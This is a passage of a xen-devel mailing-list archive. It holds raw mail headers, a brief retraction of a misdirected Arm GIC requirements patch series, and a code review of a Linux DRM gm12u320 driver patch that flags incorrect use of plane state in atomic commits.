         4Bs+S3NnRH9c33IxTvcfadjZ9bxLxj+Wlk3hx3EsFrMjoobv6T+4eaHlwFjdXashR73o
         quhw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=8AaRSejSB1ZYcq1vcSbuaSLdZiIjp79tMFp3STbznYA=;
        fh=liaHVLCRB7DEmgUuIPbome8e9IfJDDhO5FKm2gXV0Qk=;
        b=qM1woKVkPcvKGhp+suAK/TDJuJo1fGwSE5taD6fP2zRpUCHewzD0tppmRyeuCkBkjQ
         Vy+ZLkNnuCCN/KQPgLyj+Qswj4w6J9/r78CaAktZqg4Wcra7bhM919/NBHhGH/f2CoVq
         Eb1WCSpb9FZ9d+cDiestXjRN+GvTQqKaUMJP3LEz88u509BL7UWlxW4wF/8QL7ll0625
         MCJ+O0+jYdb0PMGNeXdsmDR2z6EFgCRKGV7TdR8glLVJx9KnOMnvkuGGLULmurCkePGb
         /hhuGkJrbwIwihke8HcgVio3a7sBXxGnSgmYH+r+u+rRccO3CarsgUhJSd8jtNEx++p2
         QcgA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784272636; x=1784877436; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=8AaRSejSB1ZYcq1vcSbuaSLdZiIjp79tMFp3STbznYA=;
        b=mMsvopp+T5uMR+hiJPIymvQRcAk1AyAYgfRmmmg/nYULLx0OBHcorMFCLqd1zAyVNs
         gZfrgedpJ+xtWDnD1vut6/wHb4YpIXt6ojm3xD/+wLM+4tVCo+7No3PVQjTTvVCdZVou
         pJpEaYHXSJISknhHO/BIOlD+zq0nHZfYlcLKEt3p969quEOL9YmyEOmC5LPBqbowPYY+
         HXC1R/wn9BIcf+Q3l82erIWZxOYV2yMOHlm/C4NK0aVr9U+IjRY6qCay4kDWfy3g546i
         RnGJqJlsU+UKP1d96l56npdhCGcyhcUkSbWNKlWVHEYfDzgwXtXU2kcu8/itSKPnN+4h
         HGEA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784272636; x=1784877436;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=8AaRSejSB1ZYcq1vcSbuaSLdZiIjp79tMFp3STbznYA=;
        b=IrCY8q8Zq6+sKPCbX8Rn2hWrjwtR0JSFMQvgd81Vy+OCELhYHCPISkRmG1ukJrgzBj
         +OahSEQitbVqbivwwgsD8ou5zXF+NnjMz12OJmvUmiu64O4xDAP6ImgdJ1H/KRmrOOOA
         1TXNkV5gsR9RELrckA3yh3zIgjVHLjBPB9Nkz0cm7XL1MBxkVWYhYX2yZT9OMMFqAAcL
         N0edkH3zU1YcFtcXBfPev9jrybXezoj3TuRgF3+DC2XMaoFGMqJBRy23i8ikAigeEsPB
         cM7SDNita+wGoH2po3qqQgDkvhZNyRyyHfdHkrhMA+a59hxvd4yFrr2GtqBvOglCc357
         KW4Q==
X-Gm-Message-State: AOJu0YxXeKHhUzjHvCVOp6BxuoloyytyXDNtxE0acmM4sxboM4ezusr6
	ovGrlLdHX9go8tn7JSKrbaowr24wO5tvZ2IytmB/2mP1a+ewBtJk/9p37aJk0aXAIlOi08vgX0I
	n6/fTO1iIANpt+vInDLnXCGXbQuqqNnm3Edwn6hM=
X-Gm-Gg: AfdE7cnqKfI+t3INCyVOBlJ4fPrwK8c+FA6piGapyMyU593qd0Y/Nc31H1x57b3qzjT
	nr8c0bY5YVrV1qxqx64q+2Rism82EoMrSVfG0bUyoGY+66b6VhLjn0d6WYPyCFZmwJMuUyRC1p1
	0a+Q1wZctCZ6VNV4paj6ewt1rjSKE8VYjmtzzk/8/Hoy39ZhpwHDvDxbD9kpkcsc057zR9vs6km
	OC2E2GvqeNaSKEPumc1xRBkXCDayBNy0FAmnLNlxje0+rKmnYQjtqtAdhk=
X-Received: by 2002:a05:6512:6c3:b0:5ae:bcc4:c071 with SMTP id
 2adb3069b0e04-5b28f6fe954mr345067e87.0.1784272636119; Fri, 17 Jul 2026
 00:17:16 -0700 (PDT)
MIME-Version: 1.0
References: <cover.1784272211.git.mykola_kvach@epam.com>
In-Reply-To: <cover.1784272211.git.mykola_kvach@epam.com>
From: Mykola Kvach <xakep.amatop@gmail.com>
Date: Fri, 17 Jul 2026 10:17:04 +0300
X-Gm-Features: AUfX_mxQVPoKH5o74W0_9pcasBOCj1WQh62U8JEFKyYtSwaYlIO8KYJo4gKv_CI
Message-ID: <CAGeoDV_K4gG8_WFUbUwiOk1CKTN+CPLA3nJ6oU89vqxzU7mZHQ@mail.gmail.com>
Subject: Re: [REQUIREMENTS][PATCH v2 0/6] reqs: add Arm GIC requirements
To: Mykola Kvach <mykola_kvach@epam.com>
Cc: xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-720697/1784272637-F0CA22AC-B967D8C3/0/0
X-purgate-type: clean
X-purgate-size: 2948

Hi all,

Sending to xen-devel mistake, please ignore.

Best regards,
Mykola

On Fri, Jul 17, 2026 at 10:12=E2=80=AFAM Mykola Kvach <mykola_kvach@epam.co=
m> wrote:
>
> This series updates the existing interrupt-management and guest GICv3
> requirement groups and adds missing requirement documents for host GICv3,
> host ITS/LPI, guest vITS, host GICv4 direct delivery and vGIC direct
> delivery.
>
> The interrupt-management change keeps Device Tree primary interrupt-contr=
oller
> discovery in the common interrupt-management layer.
>
> The guest GICv3 changes keep the document focused on the guest-visible vG=
ICv3,
> move register-list scope into SSR descriptions, and document Xen's limite=
d
> virtual GICv3 pending-state and active-state MMIO observation model.
>
> The new host GICv3 requirements cover Device Tree based physical GICv3
> initialization and interrupt handling. The new host ITS/LPI requirements =
cover
> physical ITS discovery, command handling and LPI state. The new vITS
> requirements cover the guest-visible virtual ITS command model.
>
> The GICv4 requirements treat direct delivery as a backend-specific mechan=
ism
> used by Xen's virtual interrupt delivery model. Host GICv4 requirements c=
over
> vPE, doorbell and direct-vLPI backend state. vGIC direct-delivery require=
ments
> cover guest-visible direct SGI capability, request control and direct-vSG=
I
> state handling.
>
> Mykola Kvach (6):
>   reqs: clarify guest GICv3 virtual register model
>   reqs: add host GICv3 requirements
>   reqs: drop duplicate GIC version AoU
>   reqs: add host ITS/LPI requirements
>   reqs: add guest vITS requirements
>   reqs: add GICv4 direct-delivery requirements
>
>  .../arm64/gicv3.rst                           |  46 +-
>  .../arm64/index.rst                           |   2 +
>  .../arm64/its.rst                             | 382 ++++++++++++
>  .../arm64/vgic_direct_delivery.rst            | 166 ++++++
>  .../physical_resources/arm64/gicv3.rst        | 564 ++++++++++++++++++
>  .../physical_resources/arm64/gicv4.rst        | 515 ++++++++++++++++
>  .../physical_resources/arm64/index.rst        |   3 +
>  .../physical_resources/arm64/its.rst          | 519 ++++++++++++++++
>  8 files changed, 2175 insertions(+), 22 deletions(-)
>  create mode 100644 software_safety_reqs/domain_creation_and_runtime/doma=
in_partially_emulated_resources/arm64/its.rst
>  create mode 100644 software_safety_reqs/domain_creation_and_runtime/doma=
in_partially_emulated_resources/arm64/vgic_direct_delivery.rst
>  create mode 100644 software_safety_reqs/domain_creation_and_runtime/phys=
ical_resources/arm64/gicv3.rst
>  create mode 100644 software_safety_reqs/domain_creation_and_runtime/phys=
ical_resources/arm64/gicv4.rst
>  create mode 100644 software_safety_reqs/domain_creation_and_runtime/phys=
ical_resources/arm64/its.rst
>
> --
> 2.43.0
>
>


From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:18:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:18:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364766.1615764 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcqW-0001OQ-Qm; Fri, 17 Jul 2026 07:18:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364766.1615764; Fri, 17 Jul 2026 07:18:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcqW-0001OJ-Nv; Fri, 17 Jul 2026 07:18:56 +0000
Received: by outflank-mailman (input) for mailman id 1364766;
 Fri, 17 Jul 2026 07:18:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tzimmermann@suse.de>) id 1wkcqV-0001OD-5O
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:18:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcqU-0020rO-Gx
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:18:54 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a59d75a-e002-0a2a0a5209dd-0a2a450b886c-6
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:18:54 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tzimmermann@suse.de>)
 id 6a59d75e-b7e8-0a2a450b0019-c387df8386b6-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:18:54 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id BB83B3E46;
 Fri, 17 Jul 2026 07:18:53 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 346A2779AA;
 Fri, 17 Jul 2026 07:18:53 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id fEKZC13XWWpeegAAD6G6ig
 (envelope-from <tzimmermann@suse.de>); Fri, 17 Jul 2026 07:18:53 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"; dkim=pass header.s=susede2_rsa header.d=suse.de header.i="@suse.de" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References:Autocrypt"; dkim=permerror header.s=susede2_ed25519 header.d=suse.de header.i="@suse.de"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784272733; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=xwa6Xhq/oyDKCOLYR5Qzr8wRbj2P/ruHJXx2OEL8gTk=;
	b=MY+oa9hJ4wx/+A5jFwJ1c3lZaptJDjM7oHSPtK3rlvop+gnkzi0U799M9dh4G53ECxvEVd
	hVOLCLpU+4Gw13jyJ5dTdOVde1/Fvd+LbC5HWfrGgSrT5kUmO0GyJEsf1GMP/TDiNp2nx4
	OTbUpZf+NSQuQfnDuEi1aFkpmaN1USo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784272733;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=xwa6Xhq/oyDKCOLYR5Qzr8wRbj2P/ruHJXx2OEL8gTk=;
	b=r4wVOO8OYDaYD3XXEnffeP9LU9RMPllvCt9kRhhq9TM+vrhdg/xLHgR2Cf5Io1aSnYNrF7
	hi/8IfWTNoW45gCg==
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.de; s=susede2_rsa;
	t=1784272733; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=xwa6Xhq/oyDKCOLYR5Qzr8wRbj2P/ruHJXx2OEL8gTk=;
	b=MY+oa9hJ4wx/+A5jFwJ1c3lZaptJDjM7oHSPtK3rlvop+gnkzi0U799M9dh4G53ECxvEVd
	hVOLCLpU+4Gw13jyJ5dTdOVde1/Fvd+LbC5HWfrGgSrT5kUmO0GyJEsf1GMP/TDiNp2nx4
	OTbUpZf+NSQuQfnDuEi1aFkpmaN1USo=
DKIM-Signature: v=1; a=ed25519-sha256; c=relaxed/relaxed; d=suse.de;
	s=susede2_ed25519; t=1784272733;
	h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references:autocrypt:autocrypt;
	bh=xwa6Xhq/oyDKCOLYR5Qzr8wRbj2P/ruHJXx2OEL8gTk=;
	b=r4wVOO8OYDaYD3XXEnffeP9LU9RMPllvCt9kRhhq9TM+vrhdg/xLHgR2Cf5Io1aSnYNrF7
	hi/8IfWTNoW45gCg==
Message-ID: <26981ae1-4aef-4965-8600-f5e30a1b564a@suse.de>
Date: Fri, 17 Jul 2026 09:18:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 5/8] drm/gm12u320: replace struct
 drm_simple_display_pipe with regular atomic helpers
To: Ze Huang <ze.huang@oss.qualcomm.com>,
 Alexey Brodkin <abrodkin@synopsys.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Joel Stanley <joel@jms.id.au>,
 Andrew Jeffery <andrew@codeconstruct.com.au>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
 Hans de Goede <hansg@kernel.org>, Alex Lanzano <lanzano.alex@gmail.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
 linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
 imx@lists.linux.dev, xen-devel@lists.xenproject.org
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
 <20260716-drm-simple-kms-removal-v2-5-1133a8fc3785@oss.qualcomm.com>
Content-Language: en-US
From: Thomas Zimmermann <tzimmermann@suse.de>
Autocrypt: addr=tzimmermann@suse.de; keydata=
 xsBNBFs50uABCADEHPidWt974CaxBVbrIBwqcq/WURinJ3+2WlIrKWspiP83vfZKaXhFYsdg
 XH47fDVbPPj+d6tQrw5lPQCyqjwrCPYnq3WlIBnGPJ4/jreTL6V+qfKRDlGLWFjZcsrPJGE0
 BeB5BbqP5erN1qylK9i3gPoQjXGhpBpQYwRrEyQyjuvk+Ev0K1Jc5tVDeJAuau3TGNgah4Yc
 hdHm3bkPjz9EErV85RwvImQ1dptvx6s7xzwXTgGAsaYZsL8WCwDaTuqFa1d1jjlaxg6+tZsB
 9GluwvIhSezPgnEmimZDkGnZRRSFiGP8yjqTjjWuf0bSj5rUnTGiyLyRZRNGcXmu6hjlABEB
 AAHNJ1Rob21hcyBaaW1tZXJtYW5uIDx0emltbWVybWFubkBzdXNlLmRlPsLAjgQTAQgAOAIb
 AwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgBYhBHIX+6yM6c9jRKFo5WgNwR1TC3ojBQJftODH
 AAoJEGgNwR1TC3ojx1wH/0hKGWugiqDgLNXLRD/4TfHBEKmxIrmfu9Z5t7vwUKfwhFL6hqvo
 lXPJJKQpQ2z8+X2vZm/slsLn7J1yjrOsoJhKABDi+3QWWSGkaGwRJAdPVVyJMfJRNNNIKwVb
 U6B1BkX2XDKDG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charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	SUSPICIOUS_RECIPS(1.50)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	TAGGED_RCPT(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	RCPT_COUNT_TWELVE(0.00)[22];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FREEMAIL_TO(0.00)[oss.qualcomm.com,synopsys.com,linux.intel.com,kernel.org,gmail.com,ffwll.ch,jms.id.au,codeconstruct.com.au,nxp.com,pengutronix.de,epam.com];
	FREEMAIL_ENVRCPT(0.00)[gmail.com];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	FROM_HAS_DN(0.00)[];
	MID_RHS_MATCH_FROM(0.00)[];
	RCVD_TLS_ALL(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.de:s=susede2_rsa,suse.de:s=susede2_ed25519];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.de:email,suse.de:mid,qualcomm.com:email,imap1.dmz-prg2.suse.org:helo,suse.com:url]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-42698a/1784272734-19CC79EA-CC366D92/0/0
X-purgate-type: clean
X-purgate-size: 7339

Hi

Am 16.07.26 um 11:01 schrieb Ze Huang:
> Convert gm12u320 to direct primary plane, CRTC and encoder setup.
>
> Keep shadow-plane helper state, framebuffer access helpers and
> no-scaling plane-state check from simple-KMS path.
>
> Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>
> Tested-by: Thomas Zimmermann <tzimmermann@suse.de>
> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
> ---
>   drivers/gpu/drm/tiny/gm12u320.c | 132 ++++++++++++++++++++++++++++++++--------
>   1 file changed, 107 insertions(+), 25 deletions(-)
>
[...]
>   
> -static void gm12u320_pipe_enable(struct drm_simple_display_pipe *pipe,
> -				 struct drm_crtc_state *crtc_state,
> -				 struct drm_plane_state *plane_state)
> +static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
> +					       struct drm_atomic_commit *commit)
>   {
>   	struct drm_rect rect = { 0, 0, GM12U320_USER_WIDTH, GM12U320_HEIGHT };
> -	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
> +	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
> +	struct drm_plane_state *plane_state = gm12u320->plane.state;

Did you see the reply from the Sashiko bot?

What happens is that user space can apply multiple atomic commits in a 
row, but they are applied to hardware asynchronously. So if you take the 
plane state here directly from the plane, it could have been replaced by 
a later atomic commit already.Â  Rather get the correct plane state with 
the helper drm_atomic_get_new_plane_state(). I did not look at all of 
the series' patches for this problem, but the rule applies to all of the 
mode-setting code. Best regards Thomas
>   	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(plane_state);
>   
>   	gm12u320->fb_update.draw_status_timeout = FIRST_FRAME_TIMEOUT;
>   	gm12u320_fb_mark_dirty(plane_state->fb, &shadow_plane_state->data[0], &rect);
>   }
>   
> -static void gm12u320_pipe_disable(struct drm_simple_display_pipe *pipe)
> +static void gm12u320_crtc_helper_atomic_disable(struct drm_crtc *crtc,
> +						struct drm_atomic_commit *commit)
>   {
> -	struct gm12u320_device *gm12u320 = to_gm12u320(pipe->crtc.dev);
> +	struct gm12u320_device *gm12u320 = to_gm12u320(crtc->dev);
>   
>   	gm12u320_stop_fb_update(gm12u320);
>   }
>   
> -static void gm12u320_pipe_update(struct drm_simple_display_pipe *pipe,
> -				 struct drm_plane_state *old_state)
> +static void gm12u320_plane_helper_atomic_update(struct drm_plane *plane,
> +						struct drm_atomic_commit *commit)
>   {
> -	struct drm_plane_state *state = pipe->plane.state;
> +	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
> +	struct drm_plane_state *state = drm_atomic_get_new_plane_state(commit, plane);
>   	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
>   	struct drm_rect rect;
>   
> +	if (!state->fb)
> +		return;
> +
>   	if (drm_atomic_helper_damage_merged(old_state, state, &rect))
>   		gm12u320_fb_mark_dirty(state->fb, &shadow_plane_state->data[0], &rect);
>   }
>   
> -static const struct drm_simple_display_pipe_funcs gm12u320_pipe_funcs = {
> -	.enable	    = gm12u320_pipe_enable,
> -	.disable    = gm12u320_pipe_disable,
> -	.update	    = gm12u320_pipe_update,
> -	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
> +static const struct drm_plane_funcs gm12u320_plane_funcs = {
> +	.update_plane	= drm_atomic_helper_update_plane,
> +	.disable_plane	= drm_atomic_helper_disable_plane,
> +	.destroy	= drm_plane_cleanup,
> +	DRM_GEM_SHADOW_PLANE_FUNCS,
> +};
> +
> +static int gm12u320_plane_helper_atomic_check(struct drm_plane *plane,
> +					      struct drm_atomic_commit *commit)
> +{
> +	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
> +	struct drm_crtc *crtc = plane_state->crtc;
> +	struct drm_crtc_state *crtc_state = NULL;
> +
> +	if (crtc)
> +		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
> +
> +	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
> +						   DRM_PLANE_NO_SCALING,
> +						   DRM_PLANE_NO_SCALING,
> +						   false, false);
> +}
> +
> +static const struct drm_plane_helper_funcs gm12u320_plane_helper_funcs = {
> +	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
> +	.atomic_check	= gm12u320_plane_helper_atomic_check,
> +	.atomic_update	= gm12u320_plane_helper_atomic_update,
> +};
> +
> +static int gm12u320_crtc_helper_atomic_check(struct drm_crtc *crtc,
> +					     struct drm_atomic_commit *commit)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
> +	int ret;
> +
> +	if (crtc_state->enable) {
> +		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +		if (ret)
> +			return ret;
> +	}
> +
> +	return drm_atomic_add_affected_planes(commit, crtc);
> +}
> +
> +static const struct drm_crtc_helper_funcs gm12u320_crtc_helper_funcs = {
> +	.atomic_check	= gm12u320_crtc_helper_atomic_check,
> +	.atomic_enable	= gm12u320_crtc_helper_atomic_enable,
> +	.atomic_disable	= gm12u320_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_crtc_funcs gm12u320_crtc_funcs = {
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +};
> +
> +static const struct drm_encoder_funcs gm12u320_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   static const uint32_t gm12u320_pipe_formats[] = {
> @@ -677,13 +743,29 @@ static int gm12u320_usb_probe(struct usb_interface *interface,
>   	if (ret)
>   		return ret;
>   
> -	ret = drm_simple_display_pipe_init(&gm12u320->dev,
> -					   &gm12u320->pipe,
> -					   &gm12u320_pipe_funcs,
> -					   gm12u320_pipe_formats,
> -					   ARRAY_SIZE(gm12u320_pipe_formats),
> -					   gm12u320_pipe_modifiers,
> -					   &gm12u320->conn);
> +	ret = drm_universal_plane_init(dev, &gm12u320->plane, 0,
> +				       &gm12u320_plane_funcs,
> +				       gm12u320_pipe_formats,
> +				       ARRAY_SIZE(gm12u320_pipe_formats),
> +				       gm12u320_pipe_modifiers,
> +				       DRM_PLANE_TYPE_PRIMARY, NULL);
> +	if (ret)
> +		return ret;
> +	drm_plane_helper_add(&gm12u320->plane, &gm12u320_plane_helper_funcs);
> +
> +	ret = drm_crtc_init_with_planes(dev, &gm12u320->crtc, &gm12u320->plane, NULL,
> +					&gm12u320_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +	drm_crtc_helper_add(&gm12u320->crtc, &gm12u320_crtc_helper_funcs);
> +
> +	ret = drm_encoder_init(dev, &gm12u320->encoder, &gm12u320_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +	gm12u320->encoder.possible_crtcs = drm_crtc_mask(&gm12u320->crtc);
> +
> +	ret = drm_connector_attach_encoder(&gm12u320->conn, &gm12u320->encoder);
>   	if (ret)
>   		return ret;
>   
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Fri Jul 17 07:23:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 17 Jul 2026 07:23:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364776.1615775 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcun-0002uF-Bq; Fri, 17 Jul 2026 07:23:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364776.1615775; Fri, 17 Jul 2026 07:23:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkcun-0002u7-7Z; Fri, 17 Jul 2026 07:23:21 +0000
Received: by outflank-mailman (input) for mailman id 1364776;
 Fri, 17 Jul 2026 07:23:20 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wkcul-0002u1-UC
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 07:23:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkcul-0086At-3z
 for xen-devel@lists.xenproject.org; Fri, 17 Jul 2026 09:23:19 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a59d85c-e002-0a2a0a5209dd-0a2a4509ac4a-22
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:23:18 +0200
Received: from [52.101.56.64]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a59d865-be1a-0a2a45090019-346538403f13-3
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 09:23:18 +0200
Received: from CY5PR19CA0100.namprd19.prod.outlook.com (2603:10b6:930:83::12)
 by LVUPR12MB999162.namprd12.prod.outlook.com (2603:10b6:408:3a2::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Fri, 17 Jul
 2026 07:23:14 +0000
